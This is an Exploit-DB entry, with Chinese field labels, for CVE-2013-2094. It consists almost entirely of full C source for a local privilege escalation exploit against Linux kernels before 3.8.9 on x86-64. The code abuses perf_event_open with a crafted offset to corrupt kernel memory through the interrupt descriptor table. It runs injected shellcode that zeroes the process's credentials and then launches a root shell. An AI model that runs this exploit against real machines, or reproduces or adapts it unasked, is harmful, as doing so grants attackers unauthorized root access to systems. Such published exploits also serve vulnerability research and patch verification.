标题: Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2) EDB-ID: 26131 CVE: 2013-2094 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2013-06-11 漏洞利用脚本: /*
 * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
 * by sorbo (sorbo@darkircop.org) June 2013
 *
 * Based on sd's exploit.  Supports more targets.
 *
 */

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>

#define BASE  0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE    0x10000000
#define KSIZE  0x2000000

#define TMP(x) (0xdeadbeef + (x))

struct idt {
 uint16_t limit;
 uint64_t addr;
} __attribute__((packed));

static int _fd;

static int perf_open(uint64_t off)
{
 struct perf_event_attr attr;
 int rc;

// printf("perf open %lx [%d]\n", off, (int) off);

 memset(&attr, 0, sizeof(attr));

 attr.type        = PERF_TYPE_SOFTWARE;
 attr.size        = sizeof(attr);
 attr.config      = off;
 attr.mmap        = 1;
 attr.comm        = 1;
 attr.exclude_kernel = 1;

 rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);

 return rc;
}

void __sc_start(void);
void __sc_next(void);

void __sc(void)
{
 asm("__sc_start:\n"
     "call __sc_next\n"
     "iretq\n"
     "__sc_next:\n");
}

void sc(void)
{
 int i, j;
 uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
 uint64_t kbase = ((uint64_t)current) >> 36;
 int uid = TMP(1);
 int gid = TMP(2);

 for (i = 0; i < 4000; i += 4) {
  uint64_t *p = (void *) &current[i];
  uint32_t *cred = (uint32_t*) p[0];

  if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
   continue;

  for (j = 0; j < 20; j++) {
   if (cred[j] == uid && cred[j + 1] == gid) {
    for (i = 0; i < 8; i++) {
     cred[j + i] = 0;
     return;
    }
   }
  }
 }
}

static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
 void *p;

 p = memmem(sc, 900, &needle, sizeof(needle));
 if (!p)
  errx(1, "can't find %x", needle);

 memcpy(p, &val, sizeof(val));
}

static void *map_mem(uint64_t addr)
{
 void *p;

 p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
   MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);

 if (p == MAP_FAILED)
  err(1, "mmap()");

 return p;
}

static int find_mem(void *mem, uint8_t c)
{
 int i;
 uint8_t *p = mem;

 for (i = 0; i < SIZE; i++) {
  if (p[i] == c)
   return i;
 }

 return -1;
}

static void dropshell()
{
 if (setuid(0) != 0)
  errx(1, "failed");

 printf("Launching shell\n");

 execl("/bin/sh", "sh", NULL);
 exit(0);
}

void morte(int x)
{
 printf("Got signal\n");
 close(_fd);
 dropshell();
}

static void trigger(int intr)
{
 switch (intr) {
 case 0:
  do {
   int z = 1;
   int a = 1;

   z--;

   a /= z;
  } while (0);
  break;

 case 4:
  asm("int $4");
  break;

 case 0x80:
  asm("int $0x80");
  break;

 default:
  errx(1, "unknown intr %d", intr);
 }

 sleep(3);
}

int main(int argc, char *argv[])
{
 uint32_t *p[2];
 int fd, i;
 uint64_t off;
 uint64_t addr = BASE;
 struct idt idt;
 uint8_t *kbase;
 int sz = 4;
 int intr = 4;

 printf("Searchin...\n");

 p[0] = map_mem(BASE);
 p[1] = map_mem(BASE_JUMP);

 memset(p[1], 0x69, SIZE);

 off = 0xFFFFFFFFL;
 fd = perf_open(off);
 close(fd);

 i = find_mem(p[0], 0xff);
 if (i == -1) {
  i = find_mem(p[1], 0x68);

  if (i == -1)
   errx(1, "Can't find overwrite");

  sz = 24;
  addr = BASE_JUMP;
  printf("detected CONFIG_JUMP_LABEL\n");
 }

 munmap(p[0], SIZE);
 munmap(p[1], SIZE);

 addr += i;
 addr -= off * sz;

 printf("perf_swevent_enabled is at 0x%lx\n", addr);

 asm("sidt %0" : "=m" (idt));

 printf("IDT at 0x%lx\n", idt.addr);

 off = addr - idt.addr;
 off -= 8;

 switch (off % sz) {
 case 0:
  intr = 0;
  break;

 case 8:
  intr = 0x80;
  break;

 case 16:
  intr = 4;
  break;

 default:
  errx(1, "remainder %d", off % sz);
 }

 printf("Using interrupt %d\n", intr);

 off -= 16 * intr;

 assert((off % sz) == 0);

 off /= sz;
 off = -off;

// printf("Offset %lx\n", off);

 kbase = (uint8_t*) (idt.addr & 0xFF000000);

 printf("Shellcode at %p\n", kbase);

 if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
  err(1, "mmap()");

 memset(kbase, 0x90, KSIZE);
 kbase += KSIZE - 1024;

 i = __sc_next - __sc_start;
 memcpy(kbase, __sc_start, i);
 kbase += i;
 memcpy(kbase, sc, 900);

 sc_replace(kbase, TMP(1), getuid());
 sc_replace(kbase, TMP(2), getgid());

 signal(SIGALRM, morte);
 alarm(2);

 printf("Triggering sploit\n");
 _fd = perf_open(off);

 trigger(intr);

 exit(0);
} URL: https://www.exploit-db.com/exploits/26131